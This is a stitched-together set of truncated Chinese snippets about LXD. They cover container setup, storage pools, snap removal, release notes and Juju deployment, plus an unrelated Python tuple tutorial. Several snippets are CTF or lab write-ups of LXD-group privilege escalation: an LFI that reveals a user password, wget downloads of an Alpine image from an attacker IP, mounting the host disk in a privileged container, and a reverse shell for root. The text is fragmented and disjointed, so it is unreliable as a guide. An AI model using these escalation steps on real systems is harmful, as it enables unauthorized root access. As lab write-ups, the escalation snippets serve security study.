TOC1.环境个人使用环境:ubuntu20.04 , lxd version : 5.132. 使用lxd 建立容器的指令2.1 查询远端仓库对应的image lxc remote list 图片说明: 云端发布的image 路径及命名,名称可以在创建容器时使用。 //cloud-images.ubuntu.com/releases ; 获取下面的信息:图片2.2 查询当前支持存储lxc storage list图片note: default 为默认的存储地址,lxd_pool 如何创建 自己的poollxc storage create <pool_name> {storage_type} {options}pool_name : 定义pool的名称storage_type : lxd init ubuntu:22.04 test --storage=lxd_poolQA如果默认创建容器时没有带 --storage ,则存储空间默认为 default 的pool;如果创建容器时,没有命名
我们可以使用LXD来创建和管理这些容器。LXD提供管生命周期的容器管理。 在本教程中,您将使用LXD在同一服务器上安装两个基于Nginx的网站,每个网站都限制在自己的容器中。 登录后,您可以开始配置LXD。 第二步 - 配置LXD 需要先配置LXD才能使用,最重要的配置取决于存储容器的后端类型。 您就可以初始化LXD了。 使用预分配的文件 请按照以下步骤配置LXD以使用预分配的文件来存储容器。首先,执行以下命令以启动LXD初始化: sudo lxd init 系统将提示您提供信息,如以下输出所示。 LXD为容器提供DNS服务器,因此 web1.lxd解析为与web1容器关联的IP。其他容器有自己的主机名,例如 web2.lxd和haproxy.lxd。
本文关键字,在tinycorelinux上安装lxc,lxd,gcc4.4 self-reference struct typedef 在前面的文章中我们讲到过内置虚拟化的os设计,它可以使包括裸金属, 所以我们考虑用lxc/lxd来代替ovz,它的优点有: 1,lxc兼容linux 2.6之上,利用linux本身机制,与docker技术统一。 3,它也有LXD这样的上层,LXD is a container "hypervisor"。可以Provision生成,甚至休眠。 /configure,sudo make install ————— lxd放在接下来一篇讲,因为lxd编译要复杂得多,而且它们二者应该分开,因为lxd作为管理可以不跟lxc一样集成在host中而是一个 至于运用lxc和lxd provision的方式,这些都在网上可以找到。 ----- (此处不设回复,扫码到微信参与留言,或直接点击到原文) [qrcode.png]
Linux Container ( LXD ) 以主机 ubuntu 16.04 为例。 安装 LXD 。 $ sudo apt-get install lxd $ newgrp lxd $ sudo lxd init 查看可用的镜像源,如果使用默认的 image ,可以跳过下面两步,直接进入后面的 launch 在创建实例时,就设置好了主机名,禁用了防火墙,同时 LXD 的网络模块为每台虚拟主机做了动态主机映射。 我们在 master 节点配置好环境,利用 LXD 容器克隆,复制出多个节点。每个节点间可以直接做基于 hostname 的网络访问。 更多关于 LXD 的资源,以及 Hadoop 的资源,请参考各自官方文档。 ---- 原创文章,转载请注明出处,否则必究相关责任!
LFI到LXD提权 1.LFI本地文件包含 靶机地址为10.129.95.185 攻击机ip为:10.10.14.90 Nmap扫描结果可以看到开启了80端口http服务,并且这个url看起来好眼熟的样子 来到web页面看看/etc/passwd,搜索一下mike 惊喜,试着切换一下用户 su mike 输入刚刚查看到的密码:Sheffield19 成功登陆mike用户 LXD是Linux系统中用于管理 LXC容器的API,提供了很多便利的命令来创建容器 它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。 完事之后,用python临时起一个http服务,在靶机上下载lxd.tar.xz和rootfs.squashfs文件 进入mike用户,下载文件:wget http://10.10.14.90:9000 /lxd.tar.xz和wget http://10.10.14.90:9000/rootfs.squashfs 文件已经下载完成,下一步是使用LXC导入图像 lxc image import lxd.tar.xz
export PATH=$PATH:/mnt/hda1/tmp/go-go1.12.6/bin lxd源码处理 ----- 安装libcap.tcz,acl-dev.tcz,下载并解压lxd-3.0.4 .tar.gz,cd lxd-lxd-3.04,处理一下lxd src: 第一个问题,还是那个问题,我们使用的gcc443不是gnu11,go默认调用gnu11,会出现Unknown command line lxc文件夹,cd lxc,直接mv 修改过的lxd到这里,保证名字是lxd /lxd/shared/idmap/shift_linux.go中, /lxd/shared/netutils/netns_addrs.c 的逻辑: 它以home/当前用户/go/为GOPATH,维护这样一种结构(GOPATH)/deps/,所以我们mkdir -p ~/go/src,cd ~/go/src,mv /mnt/hda1/tmp/lxd-lxd 编译deps和lxd ----- Make dep,最终成功!!
这正是LXD出现的背景。 LXD的起源与发展 LXD是由Canonical公司领导开发的,它是基于LXC(Linux容器)的更高级别的容器管理工具。 Canonical在开源社区中一直扮演着积极的角色,LXD项目正是其对开源世界贡献的一部分。 Canonical不仅开发了LXD,还积极推广它,将其作为Ubuntu系统的一部分,以及其云服务产品的基石。 LXD的特性和优势 类虚拟机的隔离性 LXD的一大亮点是它能够提供接近虚拟机的隔离性。 性能 尽管LXD提供了类似虚拟机的隔离和安全性,但它仍然保持了容器技术的轻量级和高性能特点。由于LXD容器共享主机的内核,因此启动速度快,资源开销小,尤其适合于需要快速部署和高效资源使用的场景。 随着技术的不断发展和完善,LXD有望成为未来容器技术领域的一个重要里程碑。在我们这个不断追求高效、安全和可扩展性解决方案的时代,LXD无疑是向前迈出的一大步。
oscp用户有 /home/oscp/ 目录的execute权限,可以强制修改目录中的文件,即使没有文件的write权限 添加反弹shell后重启靶机,可以获得root用户权限 3.3 利用漏洞提权:LXD 程序 oscp用户是lxd用户组的成员,可以通过创建特权容器实例并挂载宿主机磁盘的方式,读取宿主机中的任意文件 初始化LXD程序 获取 Alpine Linux 镜像,上传到目标靶机中,并导入到LXC中
default-kernel)" echo "user.max_user_namespaces=3883" > /etc/sysctl.d/99-userns.conf reboot # Install the LXD snap snap install lxd # source一下环境变量,因为刚安装还没生效 source /etc/profile # Configure LXD lxd init # Launch sudo yum install lvm2 device-mapper-persistent-data 1、先创建pv pvcreate /dev/nvme1n1p1 2、创建vg vgcreate lxd_vg /dev/nvme1n1p1 3、lxd增加存储 lxc storage add lxd_pool lvm source=lxd_vg 4、检查添加成功没 lxc storage ls 5、此时可以控制容量了 -7/1250 https://discuss.linuxcontainers.org/t/using-static-ips-with-lxd/1291/5 https://discuss.linuxcontainers.org
lxd 容器内的深度学习服务器环境配置 前言 lxd 是一个多用户容器,各个容器之间互不干扰,但宿主机的环境配置和容器内的环境配置过程略有不同,此处记录经过验证的 lxd 容器内深度学习服务器环境配置过程
LXD 3.8 发布了,LXD 是下一代容器管理程序,它提供类似于虚拟机的用户体验,但使用的是 Linux 容器。 LXD 的核心是一个特权守护程序,它通过本地 unix 套接字以及网络暴露 REST API。 LXD 附带提供命令行客户端。 ? 此版本改进了许多功能,还带来一些新功能,包括: 自动化容器快照 引入了三个配置键来控制自动快照并配置它们的命名方式。 cluster.https_address 服务器选项 以往,集群 LXD 服务器必须配置为监听单个 IPv4 或 IPv6 地址,同时内部集群流量和常规客户端流量都使用相同的地址。 LXD 3.8 现在在整个命令行客户端都有一个 –project 选项,它允许覆盖特定操作的项目。 ? ZFS 压缩支持 迁移协议提供了 ZFS 压缩支持。
Rev Tracking Publisher Notes core20 20240416 2318 latest/stable canonical✓ base lxd snapd.socket && systemctl disable snapd.seeded.service 3.依次移除snap安装的软件 运行 sudo snap remove --purge lxd . # 提示要先移除lxd root@ubuntu2204:~# snap remove --purge lxd lxd removed root@ubuntu2204:~# snap remove /bin/bash snap remove --purge lxd sum=$(snap list | awk 'NR>=2{print $1}' | wc -l) while [ $sum -ne 0 出现“Waiting for conflicting change in progress...”报错提示处理: root@ubuntu2204:~# snap remove --purge lxd .
2.地址 一键虚拟化项目 | 开源、易于使用的服务器虚拟化项目 (spiritlhl.net) 夜梦使用LXD方法,具体参考:系统与硬件配置要求 | LXD 3.准备 夜梦使用的服务器为: 腾讯云:https /main/scripts/pre_check.sh) 5.LXD主体安装 夜梦这里仅介绍手动安装过程(方便排查Bug)。 执行下面命令,输入1,再输入2048,代表开2G虚拟内存 国际 curl -L https://raw.githubusercontent.com/spiritLHLS/lxd/main/scripts /main/script 5.3安装LXD apt install snapd -y snap install lxd /snap/bin/lxd init 如果上面的命令中出现下面的错误 (snap lxd的安装 snap install core 如果无异常,一般的选项回车默认即可。
" print(a_tuple) 运行结果为: ('我的博客', 'https://blog.csdn.net/lxd13699') 当创建的元组中只有一个元素时,此元组后面必须要加一个逗号“,” ',"我的博客") print(a_tuple) 运行结果为: ('crazyit', 20, -1.2) ('https://blog.csdn.net/lxd13699', '我的博客') 另外 a_tuple = ('crazyit', 20, -1.2) print(a_tuple) #连接多个元组 a_tuple = a_tuple + ('https://blog.csdn.net/lxd13699 ',) print(a_tuple) 结果如下: ('crazyit', 20, -1.2) ('crazyit', 20, -1.2, 'https://blog.csdn.net/lxd13699 例如: a_tuple = ('crazyit', 20, -1.2) #元组连接字符串 a_tuple = a_tuple + 'https://blog.csdn.net/lxd13699' print
lxd容器提权。) lxd容器提权原理 LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器(container)、启动等等操作。 它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。 LXD is a root process that carries out actions for anyone with write access to the LXD UNIX socket. This is demonstrated in the exploit attached. [2020-06-17_222933.png] lxd容器提权 利用LXD Alpine Linux image git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder .
我们执行 id 命令时发现当前这个 jarves 用户位于 lxd 组中: image-20210520000554081 而这个 lxd 去 exploit-db 上一搜发现存在一个提权漏洞: image Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于 LXC 容器技术实现的,而这种技术之前 Docker 也使用过。 LXD 是一个 Root 进程,它可以负责执行任意用户的 LXD UNIX 套接字写入访问操作。 而且在某些情况下,LXD 甚至都不会对调用它的用户权限进行检查和匹配,现在社区也有很多种方法可以利用 LXD 的这种特性来实施攻击。 其中的一项技术就是使用LXD API来将目标主机的根文件系统加载进一个容器中,而本文讨论的也是这项技术。
当前用户 n0nr00tuser 是属于 lxd 的用户组成员 LXD和LXC Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC 可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源 Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度 https://www.freebuf.com/articles/system/
deploy percona-cluster mysql --config root-password=contrail123 --config max-connections=1500 --to lxd =false --config neutron-security-groups=true --to lxd:0 juju deploy glance --to lxd:0 juju deploy keystone --config admin-password=contrail123 --config admin-role=admin --to lxd:0 juju deploy nova-compute - LXD不允许docker运行,因此需要通过lxc config设置为允许。 lxc config show juju-cb8047-0-lxd-4 lxc restart juju-cb8047-0-lxd-4 Tungsten fabric在公有云上的部署 gatewayless
squashfs 4.0 0 100% /snap/lxd squashfs 4.0 0 100% /snap/lxd 7:1 0 63.9M 1 loop /snap/core20/2318 loop2 7:2 0 79.9M 1 loop /snap/lxd 63.9M 1 loop /snap/core20/2318 /dev/loop2 7:2 0 79.9M 1 loop /snap/lxd 38.8M 1 loop /snap/snapd/21759 /dev/loop4 7:4 0 87M 1 loop /snap/lxd
权限提升 5.1 (二)利用漏洞提权:LXD程序 tony用户属于lxd用户组,可以通过创建特权LXC容器实例,并挂载宿主机磁盘的方式,获得宿主机磁盘中所有敏感文件的访问权限 初始化LXD程序 下载 Alpine